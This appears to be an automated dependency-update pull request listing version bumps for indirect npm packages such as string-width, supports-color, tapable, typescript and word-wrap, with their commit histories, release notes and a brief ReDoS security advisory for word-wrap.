โ๏ธ spdx-expression-parse (indirect, 3.0.1 โ 4.0.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 9 commits:
4.0.0Configure GitHub to also test on latest Node.jsConfigure GitHub Action for CIMention case-insensitive operators in READMETest mixed-case operatorsAccept mixed-case operatorsTest lower-case operatorsAccept lower-case or upper-case operatorsREADME: Do not test on new SPDX IDs ending with `+`
โ๏ธ spdx-license-ids (indirect, 3.0.10 โ 3.0.23) ยท Repo
Commits
See the full diff on Github. The new version differs by 50 commits:
3.0.23update license list to v3.28.0 (2026-02-20T00:00:00Z)Check for new SPDX list every day3.0.22update license list to v3.27.0 (2025-07-01T00:00:00Z)3.0.21update license list to v3.26.0 (2024-12-30)git mv .github/workflows/main.yml .github/workflows/ci.ymlRemove broken GitHub Actions README badgeRemove package-lock.json and Workflow `npm ci` callUpgrade GitHub workflow actionsReplace Tape with node:test test runnernpm rm rmfrRemove ESLint scripts and dependencieschmod -x latest.js3.0.20update license list to v3.25.0 (2024-08-19)3.0.19npm audit fix3.0.18update license list to v3.24.0 (2024-05-22)Fix lint errorRemove ranges from deprecated IDs list3.0.17update license list to v3.23 (2024-02-08)3.0.16update license list to v3.22 (2023-10-05)3.0.15remove checking for ids endsWith +eslint@8.49.0tape@5.6.63.0.14update license list to v3.21 (2023-06-18)bump tape and eslint (#32)Configure GitHub Actions to run CI for PRs3.0.13update license list to v3.20 (2023-02-17) (#31)3.0.12update license list to v3.18 (2022-08-11)Update URLs in READMEnpm audit fixUpdate setup-node GitHub action3.0.11update license list to v3.15 (2021-11-14)Reimplement build.js without get-spdx-license-idsFix ESlint configuration@shinnn/eslint-config@7.0.0chalk@4.1.2eslint@8.2.0tape@5.3.1
โ๏ธ string-width (indirect, 4.2.2 โ 8.2.1) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 38 commits:
8.2.1Fix Hangul grapheme width handling8.2.0Meta tweaksImprove performance with ASCII fast path (#72)Fix width calculation for minimally-qualified emoji sequences (#68)8.1.1Fix crash on Unicode Format characters like U+06008.1.0Add more tests and simplify implementationImprove `isDoubleWidthEmojiCluster` (#65)8.0.0Require Node.js 20 and improve logic7.2.0Handle more edge-casesMeta tweaks7.1.0Meta tweaksImprove performance (#54)7.0.0Require Node.js 18 and use more recent Unicode data6.1.0Improve performance (#49)6.0.0Meta tweaksAdd `countAnsiEscapeCodes` option (#48)Use `Intl.Segmenter`, require Node.js v16 (#47)5.1.2Use `for..of` loop (#40)Add test for #2 (#39)5.1.1Fix incorrect default for `ambiguousIsNarrow` option5.1.0Add `ambiguousIsNarrow` option (#34)5.0.1Upgrade `strip-ansi` (#31)5.0.0Require Node.js 12 and move to ESM
โ๏ธ strip-ansi (indirect, 6.0.0 โ 7.2.0) ยท Repo
Release Notes
7.2.0
7.1.2
- Fix vulnerability in 7.1.1, see: chalk/chalk#656
7.1.0
7.0.1
- Upgrade dependencies ed41f38
7.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 17 commits:
7.2.0Improve performance by adding fast path for strings without ANSI codes (#54)Meta tweaksAdd test for #437.1.2Mention Node.js built-in APIMeta tweaks7.1.0Improve performance (#49)Fix CI7.0.1Upgrade dependencies7.0.0Require Node.js 12 and move to ESMAdd @Qix- to funding.ymlMove to GitHub ActionsAdd Node.js 14 to testing matrix (#35)
โ๏ธ strip-final-newline (indirect, 2.0.0 โ 4.0.0) ยท Repo
Release Notes
4.0.0
Breaking
- Require Node.js 18 (#7) 077250c
- When specifying a
Uint8Array, the returned value is no longer copied. Learn moreImprovements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 13 commits:
โ๏ธ strip-indent (indirect, 4.0.0 โ 4.1.1) ยท Repo
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ supports-color (indirect, 7.2.0 โ 10.2.2) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 51 commits:
10.2.210.2.0Make WezTerm use true color (#161)10.1.0Make Ghostty terminal use true color (#160)10.0.0Meta tweaksUpdate CIRCLECI environments to return level 3 color support (#157)Revert "Fix: CLI flags and FORCE_COLOR should precede other color support checks (#154)"Require Node.js 18Fix: CLI flags and FORCE_COLOR should precede other color support checks (#154)9.4.0Add support for Gitea Actions (#148)Fix CI9.3.1Fix Node.js 12 compatibilityFix lint issues (#145)9.3.0Detect true-color support for Kitty terminal (#137)Fix test for Azure DevOps environment (#128)Detect true-color support for GitHub Actions (#144)Improve Deno compatibility (#142)9.2.3Fix TypeScript definition (#138)9.2.2Improve browser detection (#134)9.2.1Export TS styles for the browser version too9.2.0Support level 1 in Azure DevOps pipelines (#126)9.1.0Add TypeScript definition (#125)Meta tweaksInline the `has-flag` dependency9.0.2Explicitly import `process` (#121)9.0.1Simplify the browser check (#120)9.0.0Require Node.js 12 and move to ESMAdd entries to related section in the readme8.1.1Fix check of `FORCE_COLOR` env variable (#115)Add @Qix- to funding.yml8.1.0Add Drone CI to supported environments (#112)Fix tests8.0.0Require Node.js 10Add option for ignoring `process.argv` (#100)Detect Google Chrome (#111)
โ๏ธ supports-hyperlinks (indirect, 2.2.0 โ 4.5.0) ยท Repo
Release Notes
4.5.0
3.1.0
3.0.0
Breaking
- Require Node.js 14
Improvements
2.3.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 31 commits:
4.5.0Add Orca terminal support (#9)Add `terminal-link` to related (#8)Readme tweaks4.4.0Add Zed terminal support (#7)Meta tweaks4.3.0Support Wezterm packaged by Nix / NixOS (#6)4.2.0Add support for `kitty` terminal4.1.24.1.0Add support for Cursor (#4)4.0.0Require Node.js 20 and move to ESM3.2.0Meta tweaksAdd support for alacritty (#23)Add Ghostty support (#26)3.1.0Meta tweaksAdd support for Windows Terminal (#8)3.0.0TweakRequire Node.js 14 and publish TypeScript types (#21)Add basic GitHub Action (#22)2.3.0Fix Netlify support (#12)Add WezTerm support (#14)Add VSCode support (#17)
โ๏ธ tapable (indirect, 0.1.10 โ 2.3.3) ยท Repo ยท Changelog
Release Notes
2.3.3
Patch Changes
- Improved performance in many places. (by @alexander-akait in #217)
2.3.2
Patch Changes
- Revert ignore invalid
beforevalues. (by @alexander-akait in #211)
2.3.1
Patch Changes
Ignore invalid
beforevalues. (by @alexander-akait in #208)Trim the
nameoption when options is an object. (by @alexander-akait in #208)
2.3.0
Features
- [TYPES] Added
TypedHookMaptype.
2.2.3
Fixes
- Async hook catch an error when reject a falsy value
- [typescript] Support to pass return type for waterfall hooks
2.2.2
Developer Experience
- add interceptors type to hook class
2.2.1
Developer Experience
- fix some incorrect typings
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ tslib (indirect, 1.14.1 โ 2.8.1) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ type-fest (indirect, 0.20.2 โ 5.8.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 12 commits:
5.8.0`LastArrayElement`: Fix handling of tuples with optional elements (#1461)`Schema`: Fix it to correctly replace `any` and `unknown` fields (#1459)`IfNotAnyOrNever`: Lazily evaluate different conditional branches (#1462)Add `StringToArray` and `StringLength` types (#1457)Migrate to snapshot testing for `lint-processors/jsdoc-codeblocks.test.js` (#1460)Split lint into a separate job (#1454)`StringRepeat`: Fix behavior with extremely large/small counts (#1455)Add `StringToNumber` type (#1446)Allow adding `-Infinity` as a twoslash type in JSDoc codeblocks (#1453)`StringRepeat`: Add support for generating really long strings (#1447)Add `ExtractExactly` type (#1445)
โ๏ธ typescript (indirect, 4.3.5 โ 6.0.3) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ word-wrap (indirect, 1.2.3 โ 1.2.5) ยท Repo
Security Advisories ๐จ
๐จ word-wrap vulnerable to Regular Expression Denial of Service
All versions of the package word-wrap are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of an insecure regular expression within the result variable.
Release Notes
1.2.5
Changes:
Reverts default value for
options.indentto two spaces' '.Full Changelog: 1.2.4...1.2.5
1.2.4
What's Changed
- Remove default indent by @mohd-akram in #24
๐ fix: CVE 2023 26115 (2) by @OlafConijn in #41๐ fix: CVE-2023-26115 by @aashutoshrathi in #33- chore: publish workflow by @OlafConijn in #42
New Contributors
- @mohd-akram made their first contribution in #24
- @OlafConijn made their first contribution in #41
- @aashutoshrathi made their first contribution in #33
Full Changelog: 1.2.3...1.2.4
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
1.2.5revert default indentrun verb to generate READMEMerge pull request #42 from jonschlinkert/chore/publish-workflowMerge pull request #41 from jonschlinkert/fix/CVE-2023-26115-2Update .github/workflows/publish.ymlchore: bump version to 1.2.4chore: add publish workflowchore: fix testchore: remove package-lockchore: added an additional testcasefix: cve 2023-26115fix: settle for new regex to support lower node versions:lock: fix: CVE-2023-26115Merge pull request #24 from mohd-akram/remove-default-indentRemove default indent